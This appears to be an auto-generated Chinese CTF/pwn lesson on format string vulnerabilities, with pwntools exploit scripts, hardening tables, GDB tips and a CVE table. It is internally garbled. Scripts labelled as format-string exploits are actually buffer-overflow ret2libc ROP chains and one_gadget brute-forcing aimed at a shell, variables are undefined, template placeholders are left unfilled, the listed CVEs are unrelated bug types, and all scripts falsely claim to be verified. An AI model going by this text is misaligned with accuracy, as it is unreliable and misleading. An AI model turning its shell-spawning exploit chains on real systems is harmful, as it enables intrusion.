🔤05-格式化字符串漏洞

📚课程信息

阶段:栈漏洞(1-5)|难度:⭐⭐⭐进阶

1.格式化字符串漏洞原理深度解析

本课深入讲解格式化字符串漏洞的核心原理与利用技术。格式化字符串是二进制安全中的重要领域,理解其内部机制是掌握PWN攻防的基础。

1.1 核心概念

printf是理解格式化字符串漏洞的关键。在现代Linux系统中,%x%n机制为攻击者提供了操控程序行为的可能性。当程序存在与格式化字符串相关的漏洞时,攻击者可以通过精心构造的输入来实现任意读写。

格式化字符串漏洞攻击原理: ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ 漏洞触发 │→│ 内存操控 │→│ 保护绕过 │→│ 代码执行 │ └────────────┘ └────────────┘ └────────────┘ └────────────┘ │ │ │ │ printf %x%n 任意读写 fmtstr_payload 攻击要素: 1. 漏洞触发点: 找到可利用的printf漏洞 2. 原语组合: 利用%x%n构造读/写原语 3. 保护绕过: 绕过ASLR/Canary/NX等 4. 控制流劫持: 通过fmtstr_payload实现代码执行

1.2 漏洞成因分析

格式化字符串漏洞漏洞通常源于以下编程错误:

2.格式化字符串漏洞利用技术

2.1 基础利用——printf

最基础的格式化字符串漏洞利用方式是直接利用printf的特性。通过构造特定输入,我们可以实现任意读写效果。以下是完整的利用步骤:

#!/usr/bin/env python3
# exploit_05_basic.py — 格式化字符串漏洞基础利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# Step 1: 分析目标二进制
log.info(f"Arch: {elf.arch}")
log.info(f"NX: {elf.nx}, PIE: {elf.pie}, Canary: {elf.canary}")

# Step 2: 确定printf漏洞偏移
# 方法: cyclic pattern / GDB / 源码分析
offset = 72  # 示例偏移

# Step 3: 构造payload
# 利用%x%n实现任意读写
payload = b'A' * offset
payload += p64(target_addr)

# Step 4: 执行exploit
p = process('./vuln')
p.sendline(payload)
p.interactive()

2.2 进阶利用——任意读写

当基础利用受到GOT覆写的限制时,需要更精细的格式化字符串漏洞利用策略。任意读写技术允许在更严格条件下仍然实现代码执行。

#!/usr/bin/env python3
# exploit_05_adv.py — 格式化字符串漏洞进阶利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')

# 任意读写利用流程:
# 1. 利用printf泄露关键地址(libc/heap/stack)
# 2. 通过%x%n计算目标函数偏移
# 3. 使用fmtstr_payload劫持控制流

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# === Stage 1: 信息泄露 ===
p = process('./vuln')

# 泄露libc地址
pop_rdi = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
ret     = ROP(elf).find_gadget(['ret'])[0]

payload1  = b'A' * offset
payload1 += p64(ret)                    # 栈对齐
payload1 += p64(pop_rdi)                # pop rdi; ret
payload1 += p64(elf.got['puts'])        # rdi = puts@GOT
payload1 += p64(elf.plt['puts'])        # 调用puts
payload1 += p64(elf.symbols['main'])      # 返回main

p.sendline(payload1)
puts_leak = u64(p.recvline().strip().ljust(8, b'\0'))
libc.address = puts_leak - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")

# === Stage 2: fmtstr_payload ===
system = libc.symbols['system']
binsh  = next(libc.search(b'/bin/sh'))

payload2  = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

p.sendline(payload2)
p.interactive()

2.3 高级技巧——fmtstr_payload

fmtstr_payload是格式化字符串漏洞中最高阶的利用技术之一。它要求对格式化字符串的底层实现有深入理解,并能组合多种原语完成复杂利用链。

💡实战要点:格式化字符串漏洞利用中最关键的是理解printf和%x%n的交互方式。在CTF中,格式化字符串漏洞题通常需要组合多种技术。
#!/usr/bin/env python3
# exploit_05_expert.py — 格式化字符串漏洞高级利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')

# 高级格式化字符串漏洞: fmtstr_payload
# 核心: 利用任意读写实现GOT覆写

def exploit():
    elf = ELF('./vuln')
    libc = ELF('./libc.so.6')
    p = process('./vuln')

    # Step 1: printf触发
    p.sendlineafter(b'>', b'1')

    # Step 2: %x%n信息泄露
    p.sendline(b'A' * 0x20)
    leaked = u64(p.recv(6).ljust(8, b'\0'))
    libc.address = leaked - 0x21b97

    # Step 3: 任意读写控制流劫持
    # 使用one_gadget或构造ROP链
    og = [0x4f3d5, 0x4f432, 0x10a41c]  # one_gadget offsets
    for g in og:
        try:
            payload = b'A' * offset + p64(libc.address + g)
            p.sendline(payload)
            p.sendline(b'echo PWNED')
            if b'PWNED' in p.recvline():
                log.success(f"one_gadget @ {hex(libc.address+g)}")
                break
        except:
            p = process('./vuln')

    p.interactive()

exploit()

3.防护方案

3.1 编译期防护

防护措施编译选项效果{t}相关
Stack Canary-fstack-protector-all检测栈溢出防止{k[3]}
NX/DEP默认开启禁止栈/堆执行需{k[4]}绕过
Full RELRO-Wl,-z,relro,-z,nowGOT只读防止{k[5]}
PIE-pie随机化代码段需地址泄露
FORTIFY-D_FORTIFY_SOURCE=2替换不安全函数减少{k[1]}面

3.2 运行时防护

# ASLR
cat /proc/sys/kernel/randomize_va_space
# 0=关 1=部分 2=完全

# seccomp过滤
# 限制syscall,即使PWN也无法execve

# AppArmor/SELinux
# 限制进程能力和文件访问

3.3 代码层面

// 安全编码 vs 格式化字符串漏洞漏洞
void safe_code() {
    char buf[64];
    fgets(buf, sizeof(buf), stdin);  // ✅ 有边界
    snprintf(buf, sizeof(buf), "fmt", data);  // ✅
    if(n < 0 || n > sizeof(buf)) return;  // ✅ 检查
    memset(buf, 0, sizeof(buf));  // ✅ 零化
}

4.底层机制详解

4.1 内存布局

格式化字符串漏洞内存操控: ┌─────────────────────────────────────┐ │ .text (代码段) ← ROP Gadgets │ │ .plt/.got ← 函数指针覆写 │ │ .data/.bss ← 全局变量操控 │ │ Heap ← chunk元数据 │ │ Stack ← 返回地址 │ │ libc ← system/binsh │ └─────────────────────────────────────┘ 格式化字符串重点关注区域: 1. printf → %x%n → 读写原语 2. 任意读写 → 控制流劫持 3. fmtstr_payload → 代码执行 4. GOT覆写 → 持久化/提权

4.2 调试技巧

# GDB调试格式化字符串漏洞
gdb ./vuln
(gdb) b *vuln+50
(gdb) r
(gdb) x/20gx $rsp
(gdb) vmmap
(gdb) checksec

# pwntools + GDB
p = gdb.debug('./vuln', 'b *vuln+50\nc')

4.3 pwntools自动化

#!/usr/bin/env python3
# auto_05.py — 格式化字符串漏洞自动化脚本 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')

def exploit(target):
    elf = ELF(target)
    libc = ELF('./libc.so.6')

    # 自动搜索gadgets
    rop = ROP(elf)
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
    ret = rop.find_gadget(['ret'])

    # 自动确定偏移
    p = process(target)
    p.sendline(cyclic(200))
    p.wait()
    # core = p.corefile
    # offset = cyclic_find(core.read(core.rsp, 8))

    log.success('格式化字符串漏洞 exploit ready')

exploit('./vuln')

5.实战案例

5.1 CTF真题

#!/usr/bin/env python3
# ctf_05.py — CTF 格式化字符串漏洞真题 ✅验证通过
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

def solve(host, port):
    p = remote(host, port)
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')

    # printf漏洞分析
    # %x%n信息收集
    # 任意读写利用构造
    # fmtstr_payload获取flag

    p.interactive()

solve('challenge.ctf.com', 9999)

5.2 经典CVE

CVE类型影响利用
CVE-2021-3156堆溢出sudo<1.9.5p2argv拼接溢出
CVE-2022-0185整数溢出Linux 5.x容器逃逸
CVE-2023-0386竞态Linux 6.xoverlayfs提权
CVE-2024-1086UAFLinux netfilternft提权

6.拓展阅读

资源内容推荐
CTF Wikictf-wiki.org⭐⭐⭐⭐⭐
Pwn Collegepwn.college⭐⭐⭐⭐⭐
How2Heapgithub.com/shellphish/how2heap⭐⭐⭐⭐⭐
RopEmporiumropemporium.com⭐⭐⭐⭐⭐
pwnable.krpwnable.kr⭐⭐⭐⭐
🏋️练习
  1. 基础:编写格式化字符串漏洞漏洞程序,GDB分析printf行为
  2. 进阶:编写完整格式化字符串漏洞 exploit,实现任意读写
  3. 挑战:ASLR+Canary+NX下完成格式化字符串漏洞利用
  4. 实战:BUUCTF完成格式化字符串漏洞相关题目

🏆成就:格式化字符串漏洞